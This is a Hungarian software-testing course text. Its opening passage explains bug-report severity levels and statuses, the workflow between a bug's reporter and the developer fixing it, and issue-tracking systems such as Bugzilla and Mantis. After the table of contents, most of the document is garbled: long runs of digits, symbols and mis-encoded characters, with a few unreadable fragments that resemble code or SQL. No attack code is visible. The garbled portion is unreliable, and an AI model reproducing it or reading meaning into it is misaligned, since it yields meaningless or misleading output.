Nyilvánvaló: Megjelenítés, rossz szövegigazítás, egyéb szoftver ergonómiai hiba.
Szöveg: Elírás, helyesírási hiba.
Nem súlyos: Kisebb, általában funkcionális hiba, aminek létezik egyszerű

megkerülő megoldása.
Súlyos: Valamely funkció teljesen hibásan működik.
Összeomlás: A hiba a rendszer összeomlását eredményezi.
Akadály: Vagy a fejlesztés, vagy a tesztelés nem folytatható, amíg ez a hiba fennáll.
A bejelentés állapota lehet:
Új: Olyan bejelentés, amihez még senki sem nyúlt.
Elismert: A vezető fejlesztő elismeri a hiba létét, de még nem osztotta ki, mert 9-5 Szoftver tesztelés például nincs elég információ a hibáról.
Visszajelezés: A hiba leírását pontosítani kell, a fejlesztők további információt kérnek a hibáról.
Hozzárendelt: A hibához fejlesztő lett rendelve.
Megoldott: Megoldás született a bejelentésre.
Lezárt: A bejelentés lezárásra került. A projekt felelőse figyeli az érkező bejelentéseket és a megfelelő fejlesztőhöz rendeli a hibát. Ez úgy is történhet, hogy kiadja egy-két fejlesztőnek, hogy nézzék át a bejelentéseket és kezdjék meg a hibák javítását.

Egy hibát általában hozzá lehet rendelni máshoz és magunkhoz is. 9-6 Szoftver tesztelés A hiba bejelentője ezután megnézheti, hogy hol tart a javítás. Láthatja, hogy a hiba az Új állapotból, milyen állapotba került át. Ha már kiosztva állapotú, akkor jogaitól függően láthatja azt is, hogy kihez került a hiba, és milyen megjegyzéseket fűztek eddig hozzá. A javítással megbízott programozó és a hiba bejelentője gyakran nem ugyanazt a szaknyelvet beszélik. Ebből aztán rengeteg félreértés adódik A programozó nem érti a bejelentést, a bejelentő nem érti, hogy mit nem ért a programozó. Így elég hosszadalmas párbeszéd alakulhat ki a hibakezelő rendszer segítségével, ám végül tisztázódik a helyzet, és vagy lezárják a hibát azzal, hogy ez nem hiba, csak az ügyfél nem olvasta el a kézikönyvet (nagyon ritkán olvassa el), vagy pedig elkezdi a programozó a javítást.
Ha kész a javítás, legalábbis amikor a

programozó ezt gondolja, akkor a „tesztelésre vár” státusszal látja el a hibát.
Ezután többen is tesztelhetik a javítást. Erre szükség is lehet, mivel a több szem többet lát elv itt fokozottan érvényesül, sőt mi több, a hiba kijavításával esetleg más, rejtett hibákat okozhattunk, ami ugyan eléggé amatőr eset (azt mutatja, hogy nem csináltunk regressziós tesztet), de nem kizárt. 9-7 Szoftver tesztelés
Ha sikeres a tesztelés, akkor a hibát kijavítottnak jelölhetjük, és ha a bejelentő is megelégedett a megoldással, akkor azt a hibabejelentés, megoldás mezője segítségével közli. A fenti módszerrel természetesen nem csak bejelentett hibákat lehet nyomon követni, hanem akár új igények megvalósítását, vagy akár egész termékek gyártását is követhetjük vele, ezért hívják ezeket a rendszereket munkakövető (issue tracking) rendszereknek is. Utóbb minden menedzser álmát is ki lehet nyerni a rendszerből, azaz

mindenféle grafikonokat és kimutatásokat. Ezen kinyerhető adatok között találhatunk fontosakat is, mint például, hogy mennyit dolgoztunk egy munkán. Ez segít a továbbiakban megbecsülni, hogy bizonyos típusú munkákat menyi idő alatt lehet elvégezni. 9-8 Szoftver tesztelés Tartalomjegyzék 9 Hibakövető rendszerek . 9-1 9.1 Bugzilla . 9-1 9.2 Mantis . 9-3 9-9 0123456746814698 25 8 819829646 01 23456746814698  !"#$$ %!&()"#$$*+,(-!!./01+23+ 4-(2/*5678$8"6#9:$:46"##;6##7< .=!!6(-(01+ 2-(2>?!++!!3!+3@ 4-(1!!3,?A.(3 ,?%4?1 .!(8 B?-(>"##C, >8D(01.E?8F!>1!3!!+ 12342567 89

099999999999999999999999999999999999999999999999999999999999999999999999999999999999999999998 0 099999999999999999999999999999999999999999999999999999999999999999999999998   0999999999999999999999999999999999999999999999999999999999999999999999999999  ! 99999999999999999999999999999999999999999999999999999999999999999999999999 "00#$% ! 999999999999999999999999999999999999999999999999999999999999999999999999 "#0&(0) 99999999999999999999999999999999999999999999999999999999999999999999999999* 0+!&,!-$#$%0) 9999999999999999999999999999999999. 0##(%!  999999999999999999999999999999999999999999999999999999999999999999999999/ 0! !#9999999999999999999999999999999999999999999999999999999999999999999999999999999988 1! ! (099999999999999999999999999999999999999999999999999999999999999999999999999999982

" !0999999999999999999999999999999999999999999999999999999999999999999999999999999999999999983 00 ##!99999999999999999999999999999999999999999999999999999999999999998 45$0#$%+ $ 99999999999999999999999999999999999999999999999999999999999998 6!#$ #999999999999999999999999999999999999999999999999999999999999999999999999999998* 7 40##$ #999999999999999999999999999999999999999999999999999999999999999999999999998. 8#99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999989 :# !%99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999998; 000 23567589 5 0 !"#$01$%%&(%)%&%*&+

,-(.$*0/011&.23&*$4 5678&88."8/01)09 01 1245657589 87857855 8785785 68  !"!#$%&"!!(!%!!"&&"%)*&+,! !"!!#"!#-&#!"!"!./&#!/0!"!#!#"1!2" &*"#31&%!!"4(!!(&&,&.!"!#!0!"&&##!!2!"!!#56789:+!;/!#36789 ,!01&$0"2#%4&*&#0(<,!!!#!-!"! 1"#$,!#!2!2"/$#!&=>+!1"*#3#!"#(&#(? @%!!"4 @4!".

@/&&!)""4 @"!.!!(!#0,0"/!=0! @(!2"<#!!0+;.!#!"0 @1&+00(."<,0!(! @ ).(0(##= @(<,!!!!(!#3!>&#0+;.,0"/!#&>!#)(#0"$0"2&0 ,0.!1> @#)&#(!!#=,/&#(&. @10#&"/#!!0(&.*,0.!1>*(&&#( @#&"#) !"1&+00!#"#&",0.!1> 8"1*3!"!!#$(&)+&."#()#31!"("# &*+)"4##3!2+& (!"!!2+)"#4#0%&.(#*,0.!1>* +)"#4*#!./!/0!"-A(&#&#!!00$!!! +!"#!#"!"3(!/((!.(!&+,!!!!0(!41"()&#

"!.0%;!!0!&""!)/"&/"+&"&0%0&+,! !"!!# +!>!0!&"3("#(&##*>"#!!0!31!">!!" #(&#"+&(4*+& -A!"+;.20(&(<#$0#1 !.0#(-8,!+!>!0&"#(#*0(0%;3 !00((*&=#$0.!"/!"!"/&00#<3("#*>,="# #$0.!-A/0BBCD!E 4!+!(00!"#$0,&"="#!/! 1=%)&#? 11,!!=,#$0.!?0FG0!=,/#&?HG 1"(<#$2E9!=,#$0.!?0FG0!=,/#&?FG 1"(<#$26789!=,#$0.!?0CG0!=,/#&?FG 10(!=,#$0.!?IFG0!=,/#&?0FG

1"(<#$2#(%&.(!=,#$0!?0FG0!=,/#&?JKG #(!(%&">*%,!2+&"&.L!131&/&/",*)>&" (!.3(!/1!/!!"010#&"/"(<#$#3!1!2,0!0()(0 &".&(*&=-!!0$!!0.0>*>!!(0"/31&./ 0 0123456789 38638 79  8635 26 212345678 82534 8 783 768572  2 5 2 226589 18378062 226589 278  2!89234252 26 212345678820621234567838638 5333 8262 226589 3863837873  378 2327 0 37 7      26 2123456789 9239658542 344 3863 23585278868  30621234567838638 78223  3 "12  3# 3 19496$42! 49%&2535386"19496$! 249%& 6 380 42! 49%"1 83  92 96 262123456784 894 3272!82 262123456784" 7321233

3768526262633683  2193318 26 535286 ( 28)62 8644386387 866 3878 3 578693 1867329447138 58 8444 886 3 1 3  ) 9292386383   17 2385293338633334  21239 83   3 72386371   38 8 830 ! 249% 6 384 26212345678 94 39 "15378  8269 "1523"12  23863 *7 926 8 8 38638  38 784452933  319967294426 8 9 1 3344 8623863878)6"1867869326 894 39 "19582 818 229878 3377 06 212345678 38638 587  6 38 "12 26 2123 6 877 9125" 9127652 2 38638 9223532626 9 26 8 7379 3883 766 38634 18673 86932 7 )"186 9 !8 !778386387 866 8"186329 2 22623" 8838 "2 2944 1 338 3 062123456789526254473863873 3 3 3 # 012345678823863$+! 2 0 82 68  !2 71 379 2 383& 8542 71 

7 3795!7"  4  2( 8 26 8  3  26998323"( 0 82368 89574539962 72212 8 2123  2  2123  3 344 3 684  78 286520 82 53965853 3  86958 38637 9   3 ( 7  3 92       2 72396589 262 22658942 ,!792735873863$, 23 0 !7927358 3863 88942 26 21234567842 383& 3593 558923  78 18338637 ) 895 767 9 2 71  6 37 !7"96 367( 23  8 2  933 919 2 8 13215( 8  9962(   3633  2358923 0 !79273587 3863 !27682 5 6 44 2 29598 9296587  386387"18632596786 73378 "1 8 3 38637 012373735873863$-373 06 21239 737358738634  767 9 383& 2  219337373587 33    ( 26 6 37 91 4   21933 8624592 8 6 862459 2"428 (0123456788673 267373587  6323962 2./*0/0 1)0 33 26 17239658786245922342566 52-75) 889)81  38 22732:),0564

9!7" ;1 73863$+ !73383& 0 1 7 3863 895 76857  9 26 821239962"96658  ( 266 37 8624592 8 26 21234567842 1 7753 1 7     1 (  0123456789 38638  873863921383 0 3 87 3863 895 68  9 26 212345678 3633273 352 38373!12" 2 3 8 92396# 558923$ 0 3 87 3863 895 2 % 21933 2123% 78 4 3&383 % 383 677 3 % 672% 21933865% 9!8 8199658226 535286714  !3"$ (2398573863)! 983 0 383% 38632 2 528671 68 383 2 9398244 8 29744 1 68 83$ *7 2 1 687 23985 23582 2 %+ 39,37%276558&886333212345678%#198358923 7  3$ 0 38638  3954479863596587232352 2 37,7!8 212345678 863878 242323587%+ 3  6 &31 3 8 8673789,9398358$06212345687  34  3&4486&78 91!239 92 5396589 &3 6 4 %  26 2123456784#738638377$093982443889,939.79%57# % 38638 06

7 2974438638721232679%57# % 4 73 67 3 2 36 79%57# % 531 68 6 2,89#17$*7 26 212345678  988624471 86##212383!353 32865232 895266 37%91 22#86+8 % 53967$ 0 539658 3 377 %  837 %#198!58538 % 86+83$*71 7 834  26 2123456788%278% 53967$08%2%#198!5829 23863 26%#198!3 % 92396#3863 3  3 $ /6 17 3863 71996582 26 86+4421239 &6323967786 927653244 2 768521# 3 3# &235923# 6 7333 2123 % &$ 0 8867#83863539658!35 086687#838632 95442%5 6&333863 78%33 !33235853 37$*7 212345678 % 5396582 723232 3&447212345678 % 632 %#198358!3586+ 7679 % 996933" 8832%#1983582 95442%5%+&1!7# 3 7334 $  ,3873863 0 8%542 2 2 !79273587 783542   %  767 9 269 %   " 23 4 86, 5892 &3%  $ 0 3 ,387386 38 895 3863 %  7,#45582$ .76727 % 38638 06 212345678 8638

9,37%2765587273 32 72273587567827422 97273 % 539671 22332767273  722 3582$07672734  2% 539693386 63% 5396933383%39 %!3237 63863 226 53383%%!323# 68$ 12262123456789 38638 93982123%78 84313 2292342 73544291! %73229%598,92%38638$/ 865%98922%  &6 7%  3 2625447362756# 862%27 78% 3 2 386388 2,892342 26 212345678 6  862 %4    0123456789 38638 2944 389623  84435923 8665 1 68 0787869386387 286 252 966223863886 2944 78 83262123456787542780 3 663 4 23863897353 212345678863822 73!323! 4 "##$%&%($%)%*+,-./$012&1/-*3/ 06212345678!54278286 2238638973538638 42782566 7383171  9 38186322 0566 1863222 72 3 64  9223 8869 :;<;-%*;/$%)%=;)1&&1-3/ 0 996239891 6886 3 26367 7492621234567882 81 74 23985791 3   84

42 8638  223! 742    364 34456789 863> 79917 291 0 368 85678542?82 292@35 1 6842 323226622795?7  341   35 771 86 3 0 9 318 895  79244 22! 72 3  8291 6333> 3 A6793589 99623982> 4 26 21234567891 4 03689398244879 B 71!4 81  8 391 68 C 3 93983582 D @91  4 92863582  1958 E 38638 F 788622C 932 0391 353 9223988996239891 892 7935838 6 383 323226429 2 3 8 9398  26 78314  53944 3863 !333582 GHGH$,+I%$J$K$"##$%&%($012&1/-*3/$&33/1. L.//-I,MN($%)%*=;)1&&1-3/ 0 788675@4886783863 86 492621234567882 1983582 !35  61 88> 2 92 95442 283933!?7 395442788 4  0123456789 38638  1 0 476398587897353863822 9 63863 3 71 539658 35 33288 3532386383219 2198!35886 57"6 

6 !38 7 258 78  26 3863 929658#$%& 3837831  9 3  !2923863 86!38 26 8 82 86384 7 (782117 198!327291 2!2 2)8913863   320$%&22(8638448 7* +71 3863 5!35822 !53)796 ,238633323582-287 853  3372 3 6)728!7886226+922  87 .3954482/932 /291 198!3582  7844 6  334  0238633323582-287 853  3372 3 6)728!7886226+922  87 .7886282/932 06$%&  6 !38 92 36 9442 539192 2 )92344  3512 26 7 3 5396589  6388 7 06 86!333 3863 9442 9276512 1 942 6322982442 68 2317  $8638   529294421239 9 3723863  !582 823582$95447  3 73 3267892$%& 6 !384 2863 22244 6523226 891 9 8638378622244 27886268326 633 278 23456789:;3<=>8?65<@>A<B>C 0

99623982123456788638895 91 239 21933198!35829 87 3  4769 " 9)8644 (2 7886237 6 6 8 8 52939673939623725 !3198!3589230 95447529399633 7886238 232 673837 786  766. 2 9544786387 52939230621234567882  168 3 1795829344  378 17067 6 84 4 921  * 21234567894 39 #324 7D 886 63 !582 1 74 5!3589 73735874 5!3589 212345678 19 #3593 55837  212345678223 03721239 329584861 3 886* 212345678 3221233545 32322 .8 97 5)785959 32322 072)9 36 57 915897315 26EFGH 18626H2) I&JKE1  606EFGH 186 38LMNEOM 142 !367 31862  26H2) 864 .  212345678423592 2 7321234567885742 4 3 6(539658923067 383863833 3 17 91588226 7333 !  5895852 8 7 38 06H2) 834 3443)23 322123 63735421 68 &J023584 28221239

79285852P59398244 82 !3542* Q&J0R$0JM"E*2123456783545 212327 Q&J0RGHMSKPE*21233542 6 !582 Q&J0R$0JRLITFE*94 3 99 !582 Q&J0RSE"IE*2865212327  0123456789 38638 00 8693589 582 0 !86"## 212327 0$!%!3593 &5589 212327 0%!3593 &5589 1&27 0()37 322123595)*9 32325)2 7)8 3#44178 7)5 967 ! !+,- .32329 #6/3) 1 68 $0,- (958141142!0!3!$ 0!43542%5 1 683542 53589582 37  #38 232329 1983585696!0!55!0,!%$0!3542 , !07 8 .037 3#684 ) 6 386" 33)7232329 79/2858538 5895853/69:328358923. -$81"92 (:3323582222193335452 06 *821234567894& 3:9 82 58296286)987)(95172 2"1891& )38 2*25623.!66 62621 ;4 )2 <=>>?@AB=@BCDEFGHIJBKLBMNOPFQRBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBB S "22)186286)5623.0 ()37"22)18838/

2& )3832*25686#/ 3 21623:) 285696.0 21933 582 L?T?<AB<=>>?@ALBBUV=>BBWL?VXAYZX<=>>?@ALB[?V?B]]]R L?T?<AB<=>>?@ALBBUV=>BBWL?VX<=TX<=>>?@ALB[?V?B]]]R BBBBBBBBBBBBBBBBBBBBBBBBBB "22)189 2 1 66 39 . ^ `abcdefghijikidlkmgjnok`kpqorsdsaskgbedaiftacf` 062*95)988693((&86386 66289)2)262123458789 834 )783#44(56784 5 2(&8638uv*7)33/68u 1958u3863884 /638.!6)(56789 39 7)* 3& )3) 2621234567882 864 )u6786)"15: 2 1958862286542)  9(91:623)2 6745 w26742) x 19587 )732& )8yu211724 /638) 5)  862421)2674523323226)722)186) .0z#19)186) 2832477358 2 (9)4398244u2(&8639)186) " 172:22885.!6) 39 #/3)* 7233186z262123456783783#44"15)*42) /2832)7u26 8:)2189"939)2 82&53212345678 #)*63347639832)7.06 7*) 177) 3 739 212345678 "15)*923) /67 69996)2 w82)149{y.06 212345678 (&8638) 26 25447 69996"15)*92386958

x#)4#633)7 (&86397#)*63w1 / 9" )382)149{y "9& 37)35178 #)*63w"9&137)32379)82)149{y 1 9835178 #)*63w1 982)149{y 4 /63873863#)*63w";"91:1379)38382)149{y x67u 8 #)*63w"91:1379)y  0123456789 38638 !!"#$!%!"!&" 06 (8)15*(9 3+,965823-+3, 3.2*/57820 (17120 )2+2389 2 7800 -43 654 *4 ./3236/ 2621234567858958)2+2*438273267+23 1289 )1565 +863:;<==>/*3+09+?1232428 01.7*783+239+@,33)@AABBB?71 4 9). *3?7=9A1232A7+23 A 120C37)8A223/)C2*1CD 394+(A221DCE?8,3.F G?0621234567823/57859.5*(272 865.4243 0261589582 (H6, (+?06 59.5*(9232625447)2+2389 2 , 3=1 +I37@ 8 33*2. =+9 4J1232428K 8 33*2. =+9 4J1232=7K E?L67*737276537M859.5*( 86I38?N,, 626OPOQR?7D059.5*(3 53.589*78H6 * 43217?07737276537M859.5*(422625447)2+2.3+ 3 23/2765*7@ 14C*2. 39*3+9C=78 2/173C=7C1 83 423+9/*1C1/.)C1 83 9C2+3,74C1 83 39+C1/.)C1 83 /8+C1/.)C1 83 S?T 6+559.5*(9 3+,962322? ,, 62=9++58393+9 =7

32+32.23 53589*7? N,, 626254479UV)2+2*3893 7217@ 23+1232428 423/)39*3+9=7 393+23K N63 -435 * 26 H646+5 59.5*(3 55I3M 9UV )2+2389+3 3+,967?0 )2+2*3889+86+ 63@ WXYZX[]^ ` [^X aZbYXb]a ^XZ cdecb]WbX]fYXYgYWb]hiiih]ZbWbXc jW]^ YZakelbc j ]]]]`Ymc jdecbW]ii ]]]]`Ymc j`b`gbZW]ii ]]]]`YmfYXYdecbW]ii ]]]]`Yme^WXY^abW]ii ]]]]`Ymc jkeWX Zn]ii c jdecb ]]jZ []o]p ]]]]qrsturvwwrxyvzv{vriiiry|zx}~tov€x~q ]]]]qrst‚rvwwrxyvzv{vriiiry|zx}~toƒ€x~q ]]]]qrst„rvwwrxyvzv{vriiiry|zx}~to €x~q ]]†]We‡b]ˆtt‰ ]]jZ []ˆ]p  0123456789 38638     !"#!$%%!&$($)$!*!+,+)-./(01   !"2!$%%!&$($)$!*!0+/(01   !"3!$%%!&$($)$!*!)-.%/(01   !"/!$%%!&$($)$!*!"+-(/(01   !"4!$%%!&$($)$!*!"+-/(01 5  6637839 : ;<3323=23>?@0A:326 944 86B333C2D2:E889DF GF0H9833D=9658D2 9586B333C15:I 8B3= 39J 7:1B3=23>F08K K

8B38C2D2:E827L 23D1232428 DE98D1232428 <:37E2:E <87:K42E<CE9:3D9;7M 23D1232428 DE98DE2:E M 23D1232428 9C :D839K8M 06 KI8 7D:I63 49 28H5 H58958582 H2N126 86O38D67>35387::72H587 7D:I634 F03N82123456788H253H58958D2?@PQA4 CB3338K1CD9KD2H9 5:2 D:1 68DF06RDE2 834 :266STRUVWXPTRUVD<37:923 = 32 2H26:7 6: ED2FP7:13C2D2:E8:5 KI O7:C2D2:E859H5:42869587886;9K2:72C2D2:E8 C2D2H3D 3F0H :3884 37383744 O7:4769O6HH>142:;<3=23 L Y3N821234567853873 Y 7N73;=286:5>212327382KI KI4H>19: 7N7394N 3<H923D7:3E82 2HZ8 3 Y7:3KD73587 H 53787= 39 82KI 7=2KI=23> Y212332D329H 53873 82KI 7=2KI582[E82 8H2 YN9K98<385K2721239 53873 82KI 7=2KI582 6KIH7:32C2D2:E87:1B358321H K2 783 69C2D2:E8L -*%]^!%$++ &(`a,a(0$(.%bca(0$d&efbgga,  hijklmnopqrstjkutvunwpqxyz{j|jkj 06212345678}ND23D868 KI7;9:398N H69NJ=9KI262123456783C5D=<62H982:3744 :J 3744 O7H:47692 2H265878=286:5=23N2FQ2N:98 K3744867D: H

78H D3262123456783 ;=286:5>2 2H26589 3N8 7DF66:2KIH K737338K 3N :32;N863889D5:J =786: 9D: H862421H>198B32:72H K897:3D;2E ;O 33H KN :83J2 9D5442: H K892123 H 821234567894N 3<H9:2 H K H2D21:7<F644 :26 834 : 2;N8638E82 9I2: = 3J2H I498B378: H 86Z73726 D= 39;<:E7>7D3J262626 25447 H D 89:2396=23L Y}N21234567894N 3<H =966521582 Y212345678HZ718735D9587C2D2H3D H>198B3582 YH K869DB3589 37D8 P78 26212345678 KI 7678:=286:53 D9;9DD58JH I: 32D32H2J86D 63 26 3 2233N :98: H K85396=23J:2KI9: ;9:398J=9KI 6: N7894 7H>198B35877K:I D 3 7:333 KIO: 23D86889D5:F6== 6H7: :2KI944867:3:H K 82>8B32:726  0123456789 38638 212345678 89127358533618306212345678 6 8755422625447 866 3  3286922 22672 3878673  8 6373545 !"#$%2 22658206373545 9&286526323933354523 3   & 5895835454()*37 323223 2 ) 179535423 3 2 344+ 38950!"#$ 39658)22,82

---./0120-3405-6786-19-90:02;<=>=7?@ 0 63735423834 26998278 17 295 3545 2 2 1 68 834  --90:0.2-AA-B/CD-6786-5E0/0-AA-F----------------------------------------0 (198*3587)22,8 834  5 953969332 289(850 !"#$G2 721933 HIJ )22,8 ,82 2 99 23(172 2 !"#$ 2123  7 &3+  7886263 3 295835422123920!"#$ 286523 &7  3723&  8212335453  38786732 78826212345678 633 86526323933212392332322623 1 7,7(232(8*323  0!"#$ 8*38 3 32622)833K2(198582786,82 22865( 53228653!"#$  1 7*,7(53 (198327 L593 5589 MLNO#H PO#Q#HRO#%2 2265820 3593 558289(2 & 6383 3964 22865(8262123456782 603593 5582542 &)9,1578 &87 &2MSJ)22,89  33687  35396( 6 838 881)9292378 *2303593 558 & 22&9449K 22885535&29& &84486378386370 3593 558

39623222 ----./0120-T/C0UV/0-<786-WX-19 -------YZ>[@ )22,,823370 396933 5582 780P"G418673 & -----.1::-<786WXF 328*35882  38 8#(186535&29& 9535423 7 4   6+ 3 3# 953 86338 2 9122637886221(3593& 9123( #6 ,276828652352 )8726N2, )152 83 06 1& 9186 633 *(21233)83962322 --./0120-2]T0->Y^< @-19-C`a02-WAAXF b0 9122686 633 *(3542G3)81 775582 --./0120-2]T0--YY^< @-19-21`:0-CB->Y^< @F------------------------------------ 0123456789 38638 06 122633963593 19582678862387 3 3 8226 !6!84 1 775321233 8" ##$%&(&#)*+$(,-+#./01##234546780509:##%&(*%+##88;3<=#,> ######3?@=A?#B?C99D E0 3969333542F86G 23 H  62I0JK 3 2 2267" ###>&L&$(#M#)%-N#(OL&2./012PPP::D QR6795 SRTUVUTWX2 226582"086792 8!1 

886 H92621933  68G94Y 3996 ZY2728 3  8896651 706ZY  68  H9 Q Y3729582123923 Q Y372 78 !829588253965853 QI7 2 226582"0 37  [276 8 2 39237 8 G 32Y3583386  3!753Y218673 ]WKG 3037 3965822[82" ####$%&(&#(%,^^&%#8/01#)(&%# #O&)-%&#,+>&%(# #*`a(&# #a&L&(&# ####-+#84B?4#`Lb>cL#B?C99D 037 !86 2 38786734763983582 8324425H926223545 82286553273333545 d6d337212396582 392376523 QR2Y5382SRefW0X2865232"082Y538286 H9 d85423 2 3  8222123923822865532 733394Y 3923H 92267333 2[8923794Y 3992Y39335396589  31953638  2 9588294Y 327426532 23d44 3d38Y 7 22Y3585H1 2944 38 3! 2Y8638 06 212345678 ZY2368 532598 834  2542 9223Y2 26942 2 95447 82  1983585378 2 9  3868H2 71 H92 954473687 6 8

 5Y2 2 3H 9 [7228686  3236!745Y2H1  32 d3 539658272337878gY2368 83 dd89112 6 72 95447[7 6d ! 385373326ZY64206212345678ZY2368 8695898  7" Q012345678ZY23687832372 752863582" 684 25326ZY23683  367U   373 71 584  8198358923 8637726 21234567842 Q0 9544721234567882 73233582"W73 95442 333H2621234567895   71  2123 6 ! 2 22658 975Y2 78 393982H 63   32638 93982 4 [87H7235882 86 21933  85Y52  539658226 2 22658926 7358771!!Y 6!Y H92782  799623982   53 5842H 8371 33! 330653  3771!862 9886244 71!862H25 F37878 32323 Q3863826ZY2368 !33"62 8!44793942 2193338638 1771 9398244  3H 7 372 Q8238638 Q2 226589 2123 6 8 38638  0123456789 38638 21239 3 687373587862459 38638 998385 68 2398573 68 82

1983582 26 633198358923!86"  67 3 186 23584   67786 #91239  4769 87 8 2198358 878862 372 9544752$93996%95447#9398532598 392 539658923  3 7 7844 8 4 238 786229443" #212395294426 8 27456582 78 3863826&23682233 #95821239 53 8 26&82  4 &21239228680621239 344 #9584 86526232  3 8652632393321239  25 3593212394 8653588252 ( 3  3 8#95845333212390621239 4 $383  38837 24 33919)74 3391 2*7!989#3(32379 + 7! 9$98  392123#958945333212392378886 317357  8 6 $929 1983582 0 82  198358272331983582 869232 2 82 226589 7806&#!7 7233 53962 262123456789 87$22!82785333212386 63778  8 6 $929 38638 886783863 #3323582 2 88678386387 8 #358 83 9123 987 32 95447#!723

767853726&2123456788542 0 886783863 78 332 932  86 32278172782 53967 675358 087 83863#3233589 35  399964 53772621234567832 $91!7853962342062123456789 755852344&378 5 967 ,0-./081)+%21)81$929 )3021%8(*021%81$929 +458!7$35959 2865232 6789:;<;8;=:>?@<7A; B226212345678422539632358!2 95442 36212345678  382 9 21983583344 $8 863 !86"77706 8 $8 !29 72224486 26 83 8 9#7389238714 22944$3" 198358 33#91 26 39158923062123  38 9272332625447 $8 3!86"2327 + 13542396232226 1 3721239  68 CCCCDEFGHFCHGIJFCKLMLNCOPPPQR 0621239 53 8 281354542 CCCCSTUEFEHCSTHVCKLMLNCUFJFDHCWCXEVYCPPPR 06733382  38828673" 86380694 3 3$853 #  4682532235892  3868)354238 9$15892 7 2625447  3  0123456789 38638 2323 633

2323 6335 2323 6333593 5589 2323 633  912!9"2396#$7!2396587 %&38 6"94 39237"1#198(32"7!2%)3&&"7 *7+332$7!239693394 393 #198(32"5", -067"33394 3 3&8,0694 3 3&8 8"23&8 %)8 83 4 "3&44 .84 "!2#8$23 %,062/ "186 834 "15 %) 6+3&8 9 $ 3+8%!2" 9%7273&8 80767273&8,0 9%7273&8 834 "212 /82 $286"5239" (!3$ )672 6+3*24! 3.22"/82 55556789:586;795<=>?=5@985ABA@9C5DEFGH 007677273&8 834 "3") % 8" %864"7 2 7&3 6+*2671 !9"2396#IJ .22"/82/ 834 "K 55556789:586;795<=>?=5C:LM5NL7AOB5DEFGH -0 #198(358 38638,0 $7!2396# 8 5#198(3933  P*  QR1S*TU,,V4&18" "+68, WXYZ[]^ ^Ỳ^ ab^c^ ^ 0 82 4+!(38978 8638% !2" 2 $7!2396# 94 39 892 !3*$786"

+091$23*$9%)2$7!2396#94 3 "  $286"52 72 6+867"3403%% 3"8%2132 $ 3+8% 3,(%.15 %) 5555@979N85DdeDfegg5h:LO5gg 22i 1 68 1") "  !53967*$2i 6+321" 285$962117%2 5555@979N85j5h:LO5gg 2242" 7219334! 3" 4+!3 2!7886221933 6+ &*3$530 863"72""2 09%215852,)"926i 6+" ! 9"073842 3$ 32 7"8.9%2942"$286"53 !5396#" ! ,6"33&68 3 "+76"7, k2865(3933 6+ 3$96" 4 28542*2 92""2  %!2#8(35823&44 $ 3+8%78 ("5 967K -%)812"186 &6!3"3 78359%235 2865(3933 6+21233(.8,06 IJ ! 834 "2625447#19"$96$23#3 86526323933 6+K 55lmE=<E5<=>?E5nmo>=5p=5qr<EsEme5>5qr<EsEme5l5=t5=5u5>vH 55qrtEm<5qr<o5nmo>=5w=?xEt5pdeyvH 55tE?El<5j5zmoD5nmo>=H5 07"3542"2R 6+ 86865(3933 6+*7332621233(.8$ )"28652632358722"/8 86. 235421

07"(/7#42",01239 0!73 9"  $ 3 6" 6+" 3 321"7* 1 1 68993386. 2 6+3 , -k2 2 12 "  359%232 2 865(3933 6+3 &6!3"3*2 9 2    /$2"7682 226$23#*)"92 6+37"3"95 6+3$966 3 8237%% 3  0123456789 38638 23542 37 6 3037 212329 23447 6!"198#582 83$ 788%38 2 73865%3933 6!323253 &()*+,-.)/0)1 06 21234567842$ 359321239 1 $ 476398%3582 78 26 7 2223! 212345678 21239 632396706 537"8212345678 6! 7 6!9 45222$389 22542$ 222 2232$1"222$38937 2645$ 38222$3886 33 3232268  867$4 $344222$3878 32$    !4586 5923 99623672337 $9$3989 26 1338629$3982$  $26 5322$2 72$    !26 $!682 9 53996"222$389  3$ 23582663 286 3%2#83$ 67458$3379$352158$2 06458$3379$ 834 $2 7$89129$4 7334522 9 2$222$38  378 323226 $  %5$3235882 5$26639 7

9 2 286$5"3" 229333 9 3 26 53223"9  86 3996"222$38932 222$38 86 3378254292:12$3$  86$75$323"$186329 2 286$5"3" 166 2 8335#$ 36 62;<8323226  2$  6!30  6!4 4 7333 3  45222$38842$21# 537$3#383 3= >>>?@A@BCD>E>FGHIHJK>L>MNOP>QRASRTRT>UVHNH>BRW>E>XF> >>>Y>@BRWZQR[Q>YFX>>F 722286$5"26 53$95269$98%3"$ 33  >>>]@]@X>>^A>>>X@XEX@X 3 378672 926 133222$38892 >>>GHIHJK>L>MNOP>QRASRTRT>UVHNH>BRW>E>X]@]@X>^A>X@XEX@X>>> 862 7$1 $3 378862921$789 98244 572$1863224 733 222$38 >>>>]@]@X>> R`RQR>aA^S>QRASRTRT>bcRAR>>X@XEX@X 229786$ 9 3 5833!222$38 286912323582 2227 >>>>>GHIHJK>L>MNOP>QRASRTRT>UVHNH>BRW>E>X]@]@X

>>>>>dHIHKH>MNOP>QRASeTRT>UVHNH>X@XEX@X 0 $373521589 $ 2 4 9289332223 22298244 $!68 7 3 2 222$389 356789235852  31 6$7 01 73863 834 $78344867$3$#32326 $!680f738g3$997825$582 2225$26254473863 $ 23582= hi8!2 22658867$338638j215#26458$3379$352158 $!68k h0123456782#173=24 2%3331 7297372 $!68998#385729737238638 h0123456784 239583863$46!81 866 $ 78 3 2621234567821239 8 hl4867$32#1732692 537"8$186!71 7  $!68  0123456789 38638 012392 6828682 78 6337212392 68  !"#$%#!%&#"$#%()*+(,+./01"$%#!-2*13%!%$4#!1 & 05677318626 381397733863186 :;212345678< 3 38638 2 2287= 8 3186>0 567731862386384  81 = 822 ?2865?23@A?9=8=B38= 262123456783A22 323253 = =2193352:9342 ?966C >D6532 476398B3?23@A?9= 2 3863 9678638 C3233?23@A=982 8 =86<  

